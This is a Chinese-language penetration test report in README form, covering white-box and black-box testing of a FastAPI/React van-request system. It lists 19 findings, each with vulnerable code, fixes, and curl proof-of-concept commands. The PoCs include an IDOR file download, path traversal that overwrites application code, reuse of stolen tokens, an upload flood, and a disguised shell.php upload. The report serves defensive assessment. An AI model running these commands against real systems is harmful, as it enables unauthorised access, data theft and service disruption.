MoriartyPuth-Labs/SOP-Security-Case-Study

GitHub: MoriartyPuth-Labs/SOP-Security-Case-Study

一份针对内部货车申请管理系统进行的双阶段(白盒代码审计与黑盒盲测)完整安全渗透测试报告。

Stars: 0 | Forks: 0

# 🔐 SOP 系统 — 完整安全渗透测试报告 **针对 FastAPI + React 货车申请管理系统的双阶段白盒与黑盒渗透测试** [![Language](https://img.shields.io/badge/Language-Python%203-3776AB?style=for-the-badge&logo=python&logoColor=white)](https://python.org) [![Shell](https://img.shields.io/badge/Shell-Bash-4EAA25?style=for-the-badge&logo=gnu-bash&logoColor=white)](https://www.gnu.org/software/bash/) [![Framework](https://img.shields.io/badge/Backend-FastAPI-009688?style=for-the-badge&logo=fastapi&logoColor=white)](https://fastapi.tiangolo.com) [![Frontend](https://img.shields.io/badge/Frontend-React%20%2F%20Vite-61DAFB?style=for-the-badge&logo=react&logoColor=black)](https://react.dev) [![Platform](https://img.shields.io/badge/Deployed%20On-Railway-7B2FBE?style=for-the-badge&logo=railway&logoColor=white)](https://railway.app) [![Database](https://img.shields.io/badge/Database-PostgreSQL-336791?style=for-the-badge&logo=postgresql&logoColor=white)](https://postgresql.org) [![Status](https://img.shields.io/badge/Status-Completed-2E7D32?style=for-the-badge&logo=checkmarx&logoColor=white)](https://github.com) [![Findings](https://img.shields.io/badge/Findings-19-B71C1C?style=for-the-badge&logo=bugsnag&logoColor=white)](https://github.com)
## 📋 关于 本仓库记录了针对 **SOP** 应用程序进行的完整双阶段渗透测试——这是一个为现场运营构建的内部货车申请管理系统。后端是一个使用 **async SQLAlchemy** 和 **PostgreSQL** 的 **FastAPI** 应用程序,部署在 **Railway** 上。前端是一个 **React/Vite** SPA。 进行了两个平行的测试阶段: - **内部(白盒):** 拥有完整的源代码访问权限——针对 `github.com/Sigma-Rizzlers/MCCTV-LFR-Vans-backend`(提交 `093e3a4`)及其配对的前端仓库进行了静态分析、逻辑追踪和代码审查。 - **外部(黑盒):** 在无法访问源代码或数据库的情况下,对 Railway 部署环境进行实时 HTTP 测试——模拟未经身份验证的攻击者攻击目标的过程。 我们发现了一个关键的部署漏洞:在外部测试时,部署团队**并未部署**最新源代码提交(`093e3a4`)中包含的安全补丁,导致生产环境中仍实时存在多个已被修复的漏洞。 | 字段 | 内部(白盒) | 外部(黑盒) | |---|---|---| | 🎯 **测试类型** | 静态分析 / 代码审查 | 盲测 HTTP 测试 | | 📅 **日期** | 2026-06-06 | 2026-06-06 | | 🔍 **访问级别** | 完整源代码 + schema | 无源代码,无凭证 | | 📊 **发现数量** | 11 | 8 | | 🔴 **严重** | 0 | 2 | | 🟠 **高危** | 3 | 3 | | 🟡 **中危** | 3 | 1 | | 🟢 **低危** | 5 | 2 | ## 🗂️ 范围 ### 内部(白盒) **✅ 在范围内** - FastAPI 后端源代码——所有 router、model、schema、middleware - React/Vite 前端源代码——身份验证流程、localStorage token 处理 - 身份验证与会话管理逻辑 - 授权(所有权检查、基于角色的访问控制) - 文件上传与下载处理 - 输入验证和 Pydantic schema 约束 - 安全标头与 CORS middleware **❌ 不在范围内** - Railway 基础设施与网络层 - PostgreSQL 服务器配置 - 对生产数据进行实际利用 ### 外部(黑盒) **✅ 在范围内** - Railway 生产环境上所有未经身份验证和预身份验证的攻击面 - CORS 配置 - 响应标头是否存在 - API 文档暴露情况 - 部署状态验证(补丁缺失) - 速率限制行为 **❌ 不在范围内** - 已通过身份验证的测试(由于 EXT-001 被阻止——登录返回 HTTP 500) - 数据库或服务端访问 ## 📊 发现摘要 **在两个测试阶段共发现 19 个问题。** | 严重程度 | 内部 | 外部 | 总计 | 徽章 | |---|---|---|---|---| | 严重 | 0 | 2 | 2 | ![Critical](https://img.shields.io/badge/Critical-2-B71C1C?style=flat) | | 高危 | 3 | 3 | 6 | ![High](https://img.shields.io/badge/High-6-E65100?style=flat) | | 中危 | 3 | 1 | 4 | ![Medium](https://img.shields.io/badge/Medium-4-F57F17?style=flat) | | 低危 | 5 | 2 | 7 | ![Low](https://img.shields.io/badge/Low-7-2E7D32?style=flat) | | 信息 | 0 | 0 | 0 | — | ### 风险列表 — 内部 | ID | 标题 | 严重程度 | CVSS | 状态 | |---|---|---|---|---| | INT-001 | IDOR:文件下载无所有权检查 | 🟠 高危 | 7.5 | 未修复 | | INT-002 | 管理面板中通过 `missionCode` 进行路径遍历 | 🟠 高危 | 7.3 | 未修复 | | INT-003 | 修改密码后未吊销活跃 token | 🟠 高危 | 7.1 | 未修复 | | INT-004 | 无服务端登出 endpoint | 🟡 中危 | 5.3 | 未修复 | | INT-005 | FastAPI 文档可公开访问 (`/api/docs`) | 🟡 中危 | 5.3 | 未修复 | | INT-006 | 前端无 Content-Security-Policy 标头 | 🟡 中危 | 4.7 | 未修复 | | INT-007 | Schema 字段缺少字符串长度限制 | 🟢 低危 | 3.1 | 未修复 | | INT-008 | 搜索 query 参数无长度限制 | 🟢 低危 | 3.1 | 未修复 | | INT-009 | 文件上传 endpoint 无速率限制 | 🟢 低危 | 3.1 | 未修复 | | INT-010 | 内存速率限制器在重启后重置 | 🟢 低危 | 2.6 | 已知问题 | | INT-011 | Token 有效期设置为 480 分钟(8 小时) | 🟢 低危 | 2.6 | 信息 | ### 风险列表 — 外部 | ID | 标题 | 严重程度 | CVSS | 状态 | |---|---|---|---|---| | EXT-001 | 所有登录和 token 验证均返回 HTTP 500 | 🔴 严重 | 9.1 | 未修复 | | EXT-002 | CORS 损坏——合法前端被拒绝 | 🔴 严重 | 8.2 | 未修复 | | EXT-003 | 安全响应标头完全缺失 | 🟠 高危 | 6.5 | 未修复 | | EXT-004 | API 文档可公开访问(实时确认) | 🟠 高危 | 5.3 | 未修复 | | EXT-005 | 部署团队未部署安全补丁 | 🟠 高危 | 7.5 | 未修复 | | EXT-006 | 由于 EXT-001 无法验证速率限制 | 🟡 中危 | 5.3 | 被阻止 | | EXT-007 | 前端无 Content-Security-Policy(实时) | 🟢 低危 | 3.7 | 未修复 | | EXT-008 | 身份验证 token 存储在 `localStorage` 中(可被 XSS 访问) | 🟢 低危 | 3.1 | 未修复 | ## 🛠️ 使用的工具 | 工具 | 阶段 | 用途 | |---|---|---| | `curl` | 两者均有 | HTTP 请求构造、标头检查、响应计时 | | `python3` | 两者均有 | JSON 解析、payload 生成、计时分析 | | `grep` / `sed` | 两者均有 | 响应体分析、打包文件检查 | | 浏览器 DevTools | 外部 | Cookie 检查、localStorage 确认 | | 静态代码审查 | 内部 | 逻辑追踪、身份验证流程分析、schema 审计 | | `dd` / `bash loop` | 内部 PoC | 文件上传洪水攻击、搜索 DoS 模拟 | ## 🔬 概念验证 ### 📌 INT-001 — IDOR:文件下载无所有权检查 *(内部 / 授权)* 文件下载 endpoint 丢弃了经过身份验证的用户(`_: RequireAnyDep`),并且在不检查所有权的情况下返回任何请求 ID 对应的文件。任何经过身份验证的用户都可以枚举整数 ID 并下载其他用户的机密上传文件。 **存在漏洞的代码 (`van_requests.py`):** ``` @router.get("/{request_id}/files/{slot}/") async def download_request_file( request_id: int, slot: str, db: DBDep, _: RequireAnyDep, # current user loaded but DISCARDED ): obj = await _get_or_404(request_id, db) # fetches any user's record filename = getattr(obj, _SLOT_MAP[slot]) ... return FileResponse(str(path), ...) # no ownership check ``` **PoC:** ``` # 步骤 1 — 获取 userA 的 token 和 request ID TOKEN_A=$(curl -s -X POST https:///api/auth/token/ \ -H "Content-Type: application/json" \ -d '{"username":"userA","password":"passA"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") REQUEST_ID=$(curl -s https:///api/v1/van-requests/ \ -H "Authorization: Token $TOKEN_A" \ | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['id'])") # 步骤 2 — 获取 userB 的 token TOKEN_B=$(curl -s -X POST https:///api/auth/token/ \ -H "Content-Type: application/json" \ -d '{"username":"userB","password":"passB"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") # 步骤 3 — 使用 userB 的 token 下载 userA 的文件 curl -s -O -J https:///api/v1/van-requests/${REQUEST_ID}/files/support/ \ -H "Authorization: Token $TOKEN_B" # → HTTP 200 — userA 的机密支持文档返回给了 userB ``` ``` Expected: HTTP 403 Forbidden Actual: HTTP 200 — file downloaded successfully ``` **修复方案:** ``` async def download_request_file( request_id: int, slot: str, db: DBDep, current_user: RequireAnyDep # keep reference ): obj = await _get_or_404(request_id, db) _ADMIN_ROLES = {"admin", "superadmin"} if current_user.role not in _ADMIN_ROLES \ and obj.submitterUsername != current_user.username: raise HTTPException(status_code=403, detail="Permission denied") ``` ### 📌 INT-002 — 管理面板中通过 `missionCode` 进行路径遍历 *(内部 / 文件系统)* `missionCode` 字段在 `admin_panel.py` 中被直接拼接进文件系统路径中,且未经过任何清理。虽然 `van_requests.py` 中存在等效的修复方案(`_safe_request_dir()`),但该修复从未应用到管理面板。管理员可以将文件写入容器文件系统的任意位置——包括覆盖应用程序的源代码。 **存在漏洞的代码:** ``` # upload path — 无 sanitization plan_dir = _FILES_ROOT / "admin-panel" / obj.missionCode # 如果 missionCode = "../../app/routers": # 解析为: /app/routers (在预期存储之外) ``` **PoC:** ``` # 步骤 1 — 创建一个带有 path-traversal missionCode 的 panel curl -s -X POST https:///api/v1/admin-panel/ \ -H "Authorization: Token $TOKEN_ADMIN" \ -H "Content-Type: application/json" \ -d '{ "missionCode": "../../app/routers", "missionTitle": "Test", "missionPlace": "Test", "missionTime": "2026-01-01T00:00:00", "missionVia": "", "requestPlanFileName": null, "requestPlanFileDataUrl": null }' # → HTTP 201 {"id": 99, "missionCode": "../../app/routers", ...} # 步骤 2 — 上传文件;文件写入容器上的 /app/routers/ 目录 curl -s -X POST https:///api/v1/admin-panel/99/files/plan/ \ -H "Authorization: Token $TOKEN_ADMIN" \ -F "file=@health.py;type=application/pdf" # 文件写入位置: _FILES_ROOT/admin-panel/../../app/routers/health.py # 解析后: /app/routers/health.py — 覆盖了 application code # 步骤 3 — 通过下载进行验证 curl -s https:///api/v1/admin-panel/99/files/plan/ \ -H "Authorization: Token $TOKEN_ADMIN" -o /tmp/out.py # 从 traversed path 返回内容 ``` ``` Expected: HTTP 400 "Invalid mission code" Actual: File written to arbitrary path outside _FILES_ROOT ``` **修复方案:** ``` def _safe_plan_dir(mission_code: str) -> Path: safe = _SAFE_FILENAME_RE.sub("_", Path(mission_code).name)[:50] or "unknown" path = _FILES_ROOT / "admin-panel" / safe if not path.resolve().is_relative_to(_FILES_ROOT.resolve()): raise HTTPException(status_code=400, detail="Invalid mission code") return path # 将每一处: _FILES_ROOT / "admin-panel" / obj.missionCode # 替换为: _safe_plan_dir(obj.missionCode) ``` ### 📌 INT-003 — 修改密码后未吊销活跃 Token *(内部 / 会话管理)* `change_my_password()` 更新了密码哈希,但从未从 `api_token_store` 中删除现有的 token。被盗用的 token 在受害者重置密码后最多仍可保持 8 小时有效。 **存在漏洞的代码 (`users.py`):** ``` @router.post("/me/change-password/") async def change_my_password( body: ChangePasswordIn, db: DBDep, current_user: CurrentUserDep ): # ... password validated and updated ... current_user.passwordHash = hash_password(body.newPassword) await db.commit() # *** NO TOKEN INVALIDATION HERE *** return {"detail": "Password updated successfully."} ``` **PoC:** ``` # 步骤 1 — 攻击者获取受害者的 token(例如通过网络钓鱼) STOLEN_TOKEN=$(curl -s -X POST https:///api/auth/token/ \ -H "Content-Type: application/json" \ -d '{"username":"victim","password":"oldpass123"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") # 步骤 2 — 受害者发现被盗并更改密码 curl -s -X POST https:///api/v1/users/me/change-password/ \ -H "Authorization: Token $VICTIM_CURRENT_TOKEN" \ -H "Content-Type: application/json" \ -d '{"currentPassword":"oldpass123","newPassword":"newSecurePass!99"}' # → {"detail": "Password updated successfully."} # 步骤 3 — 攻击者在密码更改后使用被盗的 token curl -s https:///api/v1/users/me/ \ -H "Authorization: Token $STOLEN_TOKEN" # → HTTP 200 {"username":"victim","role":"user",...} ← 仍然有效 ``` ``` Expected: HTTP 401 — token invalidated on password change Actual: HTTP 200 — stolen token valid for up to 480 minutes from issuance ``` **修复方案:** ``` from sqlalchemy import delete from app.models.user import TokenStore # 更新 passwordHash 并提交后: await db.execute(delete(TokenStore).where(TokenStore.userId == current_user.id)) await db.commit() return {"detail": "Password updated. Please log in again."} ``` ### 📌 INT-004 — 无服务端登出 Endpoint *(内部 / 会话管理)* 前端在登出时会从 `localStorage` 中移除 token,但从不调用服务端的注销 endpoint——因为根本不存在该 endpoint。该 token 会一直保留在 `api_token_store` 中,并可在长达 480 分钟内继续使用。 **PoC:** ``` # 步骤 1 — 登录并保存 token TOKEN=$(curl -s -X POST https:///api/auth/token/ \ -H "Content-Type: application/json" \ -d '{"username":"user","password":"pass"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])") # 步骤 2 — “登出”(前端仅清除 localStorage — 通过保留 token 来模拟) # 步骤 3 — 登出后 token 仍然可以验证身份 curl -s https:///api/v1/users/me/ \ -H "Authorization: Token $TOKEN" # → HTTP 200 ← 尽管客户端登出但仍然有效 # 步骤 4 — 确认 token 仍在 DB 中 # SELECT "createdAt" FROM api_token_store WHERE token = sha256('TOKEN_VALUE'); # → Token 存在;过期时间 = createdAt + 480 分钟 ``` **修复方案:** ``` # app/routers/auth.py @router.post("/logout/") async def logout(db: DBDep, authorization: str | None = Header(default=None)): if authorization and authorization.startswith("Token "): token_hash = hash_token(authorization[6:].strip()) await db.execute( delete(TokenStore).where(TokenStore.token == token_hash) ) await db.commit() return {"detail": "Logged out."} ``` ``` // src/App.jsx — handleLogout() await api.post("/api/auth/logout/"); localStorage.removeItem("authToken"); ``` ### 📌 INT-005 / EXT-004 — API 文档可公开访问 (`/api/docs`) *(两者 / 信息泄露)* 任何未经身份验证的用户都可以访问 FastAPI 的 Swagger UI 和原始 OpenAPI schema。这暴露了每一个路由、字段名称、参数类型、枚举值以及 token 格式——这正是外部黑盒测试阶段使用的精确侦察手段。 **PoC:** ``` # 确认 Swagger UI 在无凭证的情况下可访问 curl -s -o /dev/null -w "%{http_code}" \ https:///api/docs # → 200 # 下载完整 schema — 显示所有 22+ 个路由 curl -s https:///openapi.json | python3 -m json.tool | grep '"\/api' # 无需猜测即可提取 file slot enum 值 curl -s https:///openapi.json \ | python3 -c " import sys, json schema = json.load(sys.stdin) for name, model in schema['components']['schemas'].items(): if model.get('enum'): print(name, model['enum']) " # → 显示有效的 slot 名称(photo, support 等)和所有 role enum ``` ``` Expected: HTTP 404 or HTTP 401 in production Actual: HTTP 200 — full Swagger UI + OpenAPI schema, no auth required ``` **修复方案:** ``` import os _env = os.getenv("ENVIRONMENT", "production").lower() app = FastAPI( title="MCCTV LFR Vans API", lifespan=lifespan, docs_url = "/api/docs" if _env == "development" else None, redoc_url = "/api/redoc" if _env == "development" else None, openapi_url = "/openapi.json" if _env == "development" else None, ) ``` ### 📌 INT-007 — Schema 字段缺少字符串长度限制 *(内部 / 输入验证)* 多个 Pydantic schema 缺少 `max_length` 约束。发送超过底层数据库列长度的字符串会触发未处理的 `IntegrityError`(HTTP 500),而不是返回正确的 HTTP 422。 **PoC:** ``` # 超大 participant 名称上的 HTTP 500 LONGNAME=$(python3 -c "print('A'*100000)") curl -s -X POST https:///api/v1/participants/ \ -H "Authorization: Token $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"name\":\"$LONGNAME\",\"phone\":\"\",\"gender\":\"\",\"role\":\"\"}" # → HTTP 500 "Internal server error" (预期: HTTP 422) # 2 MB payload 存入 TEXT column(无上限) BIGPAYLOAD=$(python3 -c "print('A'*2000000)") curl -s -X POST https:///api/v1/admin-panel/ \ -H "Authorization: Token $TOKEN_ADMIN" \ -H "Content-Type: application/json" \ -d "{\"missionCode\":\"M001\",\"missionTitle\":\"T\", \"missionPlace\":\"P\",\"missionTime\":\"2026-01-01T00:00:00\", \"missionVia\":\"\",\"requestPlanFileDataUrl\":\"$BIGPAYLOAD\"}" # → 将 2 MB 数据直接插入 TEXT column ``` **修复方案:** ``` # app/schemas/participant.py class ParticipantIn(BaseModel): name: str = Field(..., max_length=255) phone: str = Field("", max_length=50) gender:str = Field("", max_length=50) role: str = Field("", max_length=100) # app/schemas/admin_panel.py class AdminPanelIn(BaseModel): missionCode: str = Field(..., max_length=100) requestPlanFileDataUrl: str | None= Field(None, max_length=500_000) ``` ### 📌 INT-008 — 搜索参数无长度限制 *(内部 / DoS)* `search` 查询参数被直接传递给 `ilike()`,且没有设置 `max_length`。经过身份验证的用户可以发送数兆大小的搜索字符串,从而耗尽应用服务器和 PostgreSQL 的内存与 CPU 资源。 **PoC:** ``` # 生成 1 MB 搜索字符串并发送至 search endpoint SEARCH=$(python3 -c "print('%' + 'A'*1000000 + '%')") curl -s -G https:///api/v1/van-requests/ \ -H "Authorization: Token $TOKEN" \ --data-urlencode "search=$SEARCH" # → 发送约 1 MB 的字符串作为 PostgreSQL ilike() 模式 # → 可测量的延迟峰值;并发负载下的潜在 DoS vector ``` **修复方案:** ``` # 所有启用搜索功能的 router: search: str | None = Query(default=None, max_length=200) ``` ### 📌 INT-009 — 文件上传 Endpoint 无速率限制 *(内部 / DoS)* 文件上传 endpoint 没有针对单用户的速率限制。现有的“按请求写入+删除”循环即使每次上传都会覆盖之前的文件,也会造成磁盘压力和日志激增。 **PoC:** ``` # 生成一个 9 MB 的虚拟文件 dd if=/dev/urandom of=/tmp/test.jpg bs=1M count=9 # 并发 50 次上传洪水攻击 for i in $(seq 1 50); do curl -s -X POST https:///api/v1/van-requests/1/files/photo/ \ -H "Authorization: Token $TOKEN" \ -F "file=@/tmp/test.jpg;type=image/jpeg" & done wait # → 50 × 9 MB = 一次突发 450 MB 上传流量;每次请求都会写磁盘 ``` **修复方案:** ``` _upload_counts: dict[int, list[float]] = defaultdict(list) def _check_upload_rate(user_id: int) -> None: now = time.monotonic() with _rate_lock: recent = [t for t in _upload_counts[user_id] if now - t < 60] _upload_counts[user_id] = recent if len(recent) >= 20: raise HTTPException(429, "Upload rate limit exceeded") _upload_counts[user_id].append(now) ``` ### 📌 EXT-001 — 登录及所有 Token 认证的 Endpoint 均返回 HTTP 500 *(外部 / 严重)* 在发生任何数据库交互后,每个抛出 `HTTPException` 的 API 调用都会返回 HTTP 500,而不是正确的 4xx。根本原因:Starlette 0.36+ 中的 `BaseHTTPMiddleware` 不会将来自异步路由处理程序的异常分发给 FastAPI 的 `@app.exception_handler(HTTPException)`——它们会传播到 `ServerErrorMiddleware`,从而产生通用的 500 错误。 **PoC:** ``` # 使用错误密码登录 → 应为 401,实际得到 500 curl -i -X POST https:///api/auth/token/ \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"wrongpassword"}' # HTTP/1.1 500 Internal Server Error # {"detail":"Internal server error"} # 无效 token → 应为 401,实际得到 500 curl -i https:///api/v1/van-requests/ \ -H "Authorization: Token aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" # HTTP/1.1 500 Internal Server Error # 空请求体(Pydantic 在 DB 之前同步触发)→ 正确的 422 curl -i -X POST https:///api/auth/token/ \ -H "Content-Type: application/json" -d '{}' # HTTP/1.1 422 Unprocessable Entity ← 正确(无需 DB) # 耗时确认 bcrypt 和 DB 在报错前运行 time curl -s -o /dev/null -X POST https:///api/auth/token/ \ -H "Content-Type: application/json" \ -d '{"username":"x","password":"y"}' # real 0m1.053s ← bcrypt 运行;失败发生在 middleware 异常路由中 ``` **修复方案:** ``` # 用 @app.middleware("http"): 替换 BaseHTTPMiddleware 类: @app.middleware("http") async def _security_headers(request: Request, call_next): response = await call_next(request) response.headers["X-Content-Type-Options"] = "nosniff" response.headers["X-Frame-Options"] = "DENY" response.headers["Referrer-Policy"] = "strict-origin-when-cross-origin" response.headers["Permissions-Policy"] = "geolocation=(), camera=(), microphone=()" if request.url.scheme == "https": response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains" return response # 移除 class _SecurityHeaders(BaseHTTPMiddleware) 和 class _RequestLogger(BaseHTTPMiddleware) ``` ### 📌 EXT-002 — CORS 损坏——合法前端被拒绝 *(外部 / 严重)* 所有 CORS 预检请求都返回 HTTP 400 "Disallowed CORS origin"——包括实际的生产前端。Railway 后端服务上未设置(或错误设置了)FRONTEND_URL`。应用程序在任何浏览器中都无法使用。 **PoC:** ``` # 来自真实 frontend origin 的 Preflight — 被拒绝 curl -i -X OPTIONS https:///api/auth/token/ \ -H "Origin: https://" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: Content-Type, Authorization" # HTTP/1.1 400 Bad Request # access-control-allow-credentials: true # 不允许的 CORS origin # 来自攻击者 origin 的 Preflight — 同样被拒绝(CORS 提供零保护) curl -i -X OPTIONS https:///api/auth/token/ \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: POST" # HTTP/1.1 400 Bad Request # 直接使用 curl(无 Origin header)绕过 CORS — 后端可达 curl -i -X POST https:///api/auth/token/ \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"test"}' # HTTP/1.1 500 ← 到达服务器(CORS 仅为浏览器端强制执行) ``` **修复方案:** ``` Railway → Backend service → Variables → Add: FRONTEND_URL = https:// Ensure no trailing slash and exact Origin header match. ``` ### 📌 EXT-003 — 安全响应标头完全缺失 *(外部 / 高危)* 任何实时的 API 或前端响应中都不存在由 `_SecurityHeaders` 设置的任何安全标头。根本原因与 EXT-001 相同,均是 `BaseHTTPMiddleware` 的异常路由 bug。 **PoC:** ``` # 检查 API health endpoint headers curl -sI https:///api/health/ # HTTP/1.1 200 OK # Content-Type: application/json # Server: railway-hikari # (无 X-Frame-Options, X-Content-Type-Options, Referrer-Policy, HSTS) # 检查 frontend headers curl -sI https:/// # HTTP/1.1 200 OK # Server: railway-hikari # (无 Content-Security-Policy,无 security headers) ``` | 缺失的标头 | 风险 | |---|---| | `X-Frame-Options: DENY` | 点击劫持——网站可被嵌入 iframe 中 | | `X-Content-Type-Options: nosniff` | MIME 嗅探——浏览器可能会执行 JS | | `Referrer-Policy` | API URL 泄露给分析工具/CDN | | `Strict-Transport-Security` | 可能发生 MITM HTTP 降级攻击 | | `Permissions-Policy` | 浏览器可访问摄像头/麦克风/地理位置 | **修复方案:** 首先解决 EXT-001(将 `BaseHTTPMiddleware` 替换为 `@app.middleware("http")`)。如果标头依然缺失,请通过 Railway → Backend service → Settings → Custom response headers 进行配置。 ### 📌 EXT-005 — 未部署安全补丁 *(外部 / 高危)* GitHub 上存在两个安全补丁提交(`093e3a4`, `1622ad1`),但并未在 Railway 上运行。在源代码中修复的三个高危漏洞在生产环境中仍然处于活跃状态。 **PoC:** ``` # 证据 A — 缺少 change-password 路由(在 commit 093e3a4 中添加) curl -i -X POST https:///api/v1/users/me/change-password/ \ -H "Content-Type: application/json" \ -d '{"currentPassword":"x","newPassword":"y"}' # HTTP/1.1 404 Not Found ← 部署的代码中不存在该路由 # 证据 B — 未经认证的 participant 创建(缺少来自 commit 1622ad1 的 auth guard) curl -i -X POST https:///api/v1/participants/ \ -H "Content-Type: application/json" \ -d '{"name":"pentest","phone":"","gender":"","role":""}' # HTTP/1.1 500 Internal Server Error # 如果部署了 1622ad1:HTTP 401(auth check 在 DB 之前触发) # 500 错误证明没有 auth guard — 请求在没有任何凭证的情况下到达 DB # 实际利用 — 未经认证的 participant 创建 curl -s -X POST https:///api/v1/participants/ \ -H "Content-Type: application/json" \ -d '{"name":"Injected User","phone":"0123456789","gender":"M","role":"spy"}' # → 在零身份验证的情况下在生产数据库中创建了 Participant ``` **由于未部署补丁而产生的额外实时风险:** ``` # Token plaintext storage(093e3a4 之前 — token 以原始十六进制存储) # 通过备份泄漏或内部人员访问读取 DB 会直接暴露所有活动会话: curl https:///api/v1/users/me/ \ -H "Authorization: Token " # → 使用直接从 api_token_store 复制的 token 获得完全认证的访问权限 # 缺少 magic bytes 验证(093e3a4 之前) # 上传伪装成 image/jpeg 的 PHP 文件 — 可能在没有 content check 的情况下被接受: curl -s -X POST https:///api/v1/van-requests/1/files/photo/ \ -H "Authorization: Token $TOKEN" \ -F "file=@shell.php;type=image/jpeg" ``` **修复方案:** 从 GitHub 拉取提交 `093e3a4` 并重新部署。运行 `alembic upgrade head` 执行待处理的数据库迁移。 ## ✅ 已验证的积极安全控制措施 源代码中确认了 35 项正确实施的控制措施。标记为 `*` 的项目在代码中测试通过,但由于 EXT-001/EXT-003 的影响**未进行实时确认**。 | 类别 | 控制措施 | 结果 | |---|---|---| | AUTH | bcrypt 密码哈希 (cost=12) | ✅ 通过 | | AUTH | 通过 passlib 进行常数时间比较 | ✅ 通过 | | AUTH | 阻止了用户名枚举 (dummy bcrypt hash) | ✅ 通过 | | AUTH | SHA-256 token 存储——数据库中无明文 (提交 093e3a4) | ✅ 通过(代码) | | AUTH | 服务端强制执行 token 过期 | ✅ 通过 | | AUTH | 新登录时删除旧 token (单一活跃会话) | ✅ 通过 | | AUTHZ | 普通用户在 list/get/put 操作中仅限访问自己的货车申请 | ✅ 通过 | | AUTHZ | 更新/删除货车申请时的所有权检查 | ✅ 通过 | | AUTHZ | add_stop / add_request_participant 上的所有权检查 | ✅ 通过 | | AUTHZ | 角色提升防护——管理员无法提升为超级管理员 | ✅ 通过 | | AUTHZ | Approve endpoint 仅限管理员/超级管理员访问 | ✅ 通过 | | AUTHZ | create_participant 需要身份验证 (提交 1622ad1) | ✅ 通过(代码) | | INPUT | SQL injection——所有查询均使用 SQLAlchemy ORM (参数化) | ✅ 通过 | | INPUT | 防止 requestId 中的路径遍历——`_safe_request_dir()` | ✅ 通过 | | INPUT | 根据 allowlist 验证文件 MIME 类型 | ✅ 通过(代码) | | INPUT | 根据声明的 Content-Type 验证文件 magic bytes | ✅ 通过(代码) | | INPUT | 拒绝过大的文件上传 (10 MB / 20 MB 限制) | ✅ 通过 | | INPUT | `submitterUsername` 由服务端根据授权用户覆盖 | ✅ 通过 | | INPUT | 文件名已清理并截断为 200 个字符 | ✅ 通过 | | HEADERS | X-Frame-Options: DENY | ✅ 通过(代码) * | | HEADERS | X-Content-Type-Options: nosniff | ✅ 通过(代码) * | | HEADERS | 为 HTTPS 设置 HSTS | ✅ 通过(代码) * | | CORS | 仅限于 `FRONTEND_URL` 环境变量 (无通配符) | ✅ 通过(代码) * | | DATA | API 响应中永不返回密码哈希 | ✅ 通过 | | DATA | 通用的 500 错误消息——不向客户端发送堆栈跟踪 | ✅ 通过 | | EXTERNAL | HTTP → HTTPS 重定向 (Railway) | ✅ 通过 | | EXTERNAL | 时序攻击——用户名枚举安全(两条路径均约为 1 秒) | ✅ 通过 | ## 🔑 关键启示——部署缺口 结合这两个阶段得出的最具影响力的发现是:**源代码中编写的安全修复程序在部署之前无法提供任何保护。** | 发现 | 源代码中 | Railway 实时环境 | |---|---|---| | 参与者创建的身份验证防护 | ✅ 已修复 (提交 1622ad1) | ❌ 未部署 | | SHA-256 token 哈希 | ✅ 已修复 (提交 093e3a4) | ❌ 未部署 | | Magic bytes 验证 | ✅ 已修复 (提交 093e3a4) | ❌ 未部署 | | change-password endpoint | ✅ 存在 (提交 093e3a4) | ❌ 实时服务器报 404 | | 安全标头 middleware | ✅ 代码中存在 | ❌ 未运行 (EXT-001) | | CORS 配置 | ✅ 逻辑正确 | ❌ 未设置环境变量 | 该应用程序的代码库体现了深思熟虑的安全工程——bcrypt、参数化查询、SHA-256 token 哈希、MIME 验证、所有权检查。而关键的失败完全在于运维:配置不当的部署环境和一组未部署的补丁。 ## 🔧 优先修复顺序 | 优先级 | ID | 修复方案 | 工作量 | |---|---|---|---| | 1 🔴 | EXT-001 | 将 `BaseHTTPMiddleware` 替换为 `@app.middleware("http")` | 30 分钟 | | 2 🔴 | EXT-002 | 在 Railway 后端设置 `FRONTEND_URL` 环境变量 | 5 分钟 | | 3 🟠 | EXT-005 | 在 Railway 上重新部署最新提交 (`093e3a4`) | 10 分钟 | | 4 🟠 | INT-001 | 在 `download_request_file()` 中添加所有权检查 | 5 分钟 | | 5 🟠 | INT-002 | 将 `_safe_plan_dir()` 添加到 `admin_panel.py` | 15 分钟 | | 6 🟠 | INT-003 | 修改密码后删除该用户的所有 token | 5 分钟 | | 7 🟡 | INT-004 | 添加 `POST /auth/logout/` endpoint | 15 分钟 | | 8 🟡 | EXT-004 | 在 `ENVIRONMENT != development` 时禁用 `/api/docs` | 5 分钟 | | 9 🟡 | INT-006 | 通过 Railway 自定义标头添加 CSP 标头 | 10 分钟 | | 10 🟢 | INT-007 | 为所有 schema 字段添加 `Field(max_length=...)` | 30 分钟 | | 11 🟢 | INT-008 | 为搜索参数添加 `Query(max_length=200)` | 10 分钟 | | 12 🟢 | INT-009 | 添加基于用户的上传速率限制器 | 30 分钟 | | 13 🟢 | EXT-008 | 将身份验证 token 移至 `HttpOnly` cookie | 2 小时 | | 14 🟢 | INT-011 | 将 `ACCESS_TOKEN_EXPIRE_MINUTES` 减少至 60 | 2 分钟 |
## 👤 作者 **MoriartyPuth** — Offensive Security ![GitHub](https://img.shields.io/badge/GitHub-MoriartyPuth-181717?logo=github)
标签:AV绕过, CISA项目, FastAPI, React, Syscalls, 应用安全, 测试用例, 渗透测试报告, 白盒测试, 逆向工具, 黑盒测试